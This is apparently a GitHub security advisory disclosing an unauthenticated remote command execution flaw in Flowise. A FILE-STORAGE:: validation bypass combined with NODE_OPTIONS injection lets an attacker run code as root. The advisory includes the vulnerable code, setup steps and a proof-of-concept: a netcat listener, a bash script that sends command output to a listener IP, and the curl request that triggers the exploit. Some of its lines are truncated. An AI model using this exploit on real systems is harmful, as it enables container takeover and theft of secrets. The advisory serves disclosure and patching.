Flowise Parameter Override Bypass Remote Command Execution

High **igor-magun-wd** published **GHSA-cvrr-qhgw-2mm6** last week

Package

flowise (npm)

Affected versions	Patched versions
<= 3.0.13	3.1.0

flowise-components (npm)

<= 3.0.13	3.1.0

Description

Summary

Flowise is vulnerable to a critical unauthenticated remote command execution (RCE) vulnerability. It can be exploited via a parameter override bypass using the `FILE-STORAGE::` keyword combined with a `NODE_OPTIONS` environment variable injection. This allows for the execution of arbitrary system commands with root privileges within the containerized Flowise instance, requiring only a single HTTP request and no authentication or knowledge of the instance.

Details

The vulnerability is in a validation check within the `replaceInputsWithConfig` function within `packages/server/src/utils/index.ts`. The check for `FILE-STORAGE::` was intended to handle file-type inputs but has three issues:

1. Uses .includes() instead of .startsWith(): The check passes if FILE-STORAGE:: appears ANYWHERE in the string, not just at the beginning. A remote user can embed it in a comment: /* FILE-STORAGE:: */ { custom config }

2. No parameter type validation: The check doesn't verify that the parameter is actually a file-type input. It applies to ANY parameter name, including mcpServerConfig.

3. Complete bypass, not partial: When the check passes, it skips the isParameterEnabled() call entirely, allowing modification of parameters that administrators never authorized.

Vulnerable Code (`FILE-STORAGE::` bypass):

```
// packages/server/src/utils/index.ts, line 1192-1198
// Skip if it is an override "files" input, such as pdfFile, txtFile, etc
if (typeof overrideConfig[config] === 'string' && overrideConfig[config].includes('FILE-
    // pass  <-- BYPASSES ALL VALIDATION
} else if (!isParameterEnabled(flowNodeData.label, config)) {
    // Only proceed if the parameter is enabled
    continue
}
```

This bypass allows an attacker to override the `mcpServerConfig` and inject a malicious `NODE_OPTIONS` value. The `Custom MCP` node's environment variable blocklist does not include `NODE_OPTIONS`, enabling an attacker to use the `--experimental-loader` to execute arbitrary JavaScript code before the main process starts.

Vulnerable Code (`NODE_OPTIONS` not blocked):

```
// packages/components/nodes/tools/MCP/core.ts, line 248-254
const dangerousEnvVars = ['PATH', 'LD_LIBRARY_PATH', 'DYLD_LIBRARY_PATH']

for (const [key, value] of Object.entries(env)) {
    if (dangerousEnvVars.includes(key)) {
        throw new Error(`Environment variable '${key}' modification is not allowed`)
    }
}
```

Requirements

API Override Enabled
The chatflow must have "API Override" toggled ON in Chatflow Configuration.
Public Chatflow
The chatflow must be shared publicly.
MCP Node
The chatflow must contain a MCP tool node (Custom MCP tool was tested and confirmed).

Although not enabled by default, the API Override feature is a powerful and officially documented capability that may be used in production deployments. Its primary purpose is to make chatflows dynamic and user-aware.

Common use cases that necessitate enabling this feature include:

- **Session Management:** Passing a unique `sessionId` or `chatId` for each user to maintain separate conversation histories.

- **User-Specific Variables:** Injecting user data such as name, preferences, or role into prompts to create personalized experiences.
- **Dynamic Tool Selection:** Allowing users to specify which data sources or APIs to query based on their needs.
- **Multi-Tenant Applications:** Supporting different configurations for each customer or organization without deploying separate chatflows.
- **A/B Testing:** Evaluating different prompts or models in a live environment.

Setup

To reproduce the vulnerability, follow these steps:

Step 1: Start Flowise Instance

```
docker run -d --name flowise-test -p 3000:3000 flowiseai/flowise:latest
```

Step 2: Configure a Public Chatflow with MCP Tool

1. Navigate to `http://localhost:3000` and create an account.
2. Create a new chatflow.
3. Add a `Custom MCP` node and a `Custom JS Function` node.
4. Connect the `Custom MCP` output to the `Custom JS Function`'s tools input.
5. Configure the `Custom JS Function` to be an `Ending Node` with the code: `return $tools ? "Tools loaded" : "No tools";`
6. Configure the `Custom MCP` with the MCP Server Config: `{"command":"npx","args":["-y","@modelcontextprotocol/server-everything"]}`
7. Save the chatflow and note the `chatflowId` from the URL.
8. In Chatflow Configuration, **enable API Override** and make the chatflow **Public**.

PoC

Single-Request RCE with remote command output retrieval. The following demonstrates arbitrary command execution with automatic data transmission to a remote listener:

Step 1: Setup Listener

```
# Start netcat listener to receive transmitted data
# Note: If testing locally, run this in a separate terminal
nc -lvnp 5000
echo "Listener started on port 5000..."
```

Step 2: Trigger Exploit

```
#!/bin/bash

CHATFLOW_ID="ABC-123-..."
TARGET="http://localhost:3000"
LISTENER_IP="172.17.0.1" # Docker local IP for testing

# Payload: Execute commands and transmit output to remote listener
LOADER_CODE='import{execSync}from"child_process";const cmd="id && pwd && ls";const out=e

ENCODED=$(echo -n "$LOADER_CODE" | base64 | tr -d '\n')

# Construct the crafted MCP config
CONFIG='{"command":"npx","args":["-y","@modelcontextprotocol/server-everything"],"env":{
CONFIG_ESCAPED=$(echo "$CONFIG" | sed 's/"/\\"/g')

# Single request triggers RCE
curl -X POST "$TARGET/api/v1/prediction/$CHATFLOW_ID" \
  -H "Content-Type: application/json" \
  -d "{
    \"question\": \"trigger\",
    \"overrideConfig\": {
      \"mcpServerConfig\": \"/* FILE-STORAGE:: */ $CONFIG_ESCAPED\"
    }
  }"
```

Step 3: Verify Command Execution

```
# Check the listener output
Connection received...
POST / HTTP/1.1
Host: 172.17.0.1:5000
User-Agent: curl/8.17.0
Accept: */*
Content-Length: 214
Content-Type: application/x-www-form-urlencoded

uid=0(root) gid=0(root)
groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(di
/
bin
dev
etc
home
lib
media
mnt
opt
proc
root
run
sbin
srv
sys
```

```
tmp
usr
var
```

Impact

This vulnerability allows for:

- **Full Container Compromise:** Arbitrary command execution as the root user.
- **Data Exfiltration:** Access to all secrets, credentials, and user data within the container.
- **Lateral Movement:** A pivot point for attacking internal networks and other connected systems.

The exploit requires no prior authentication, no specific knowledge of the target instance, and is executed with a single HTTP POST request, making it a critical and easily exploitable vulnerability.

Credit

Jeremy Brown

Severity

High 7.7 / 10

CVSS v3 base metrics

Attack vector	Network
Attack complexity	High
Privileges required	None
User interaction	None
Scope	Unchanged
Confidentiality	High
Integrity	High
Availability	Low

Learn more about base metrics

CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:L

CVE ID

CVE-2026-41268

Weaknesses

No CWEs

Credits

retpoline Reporter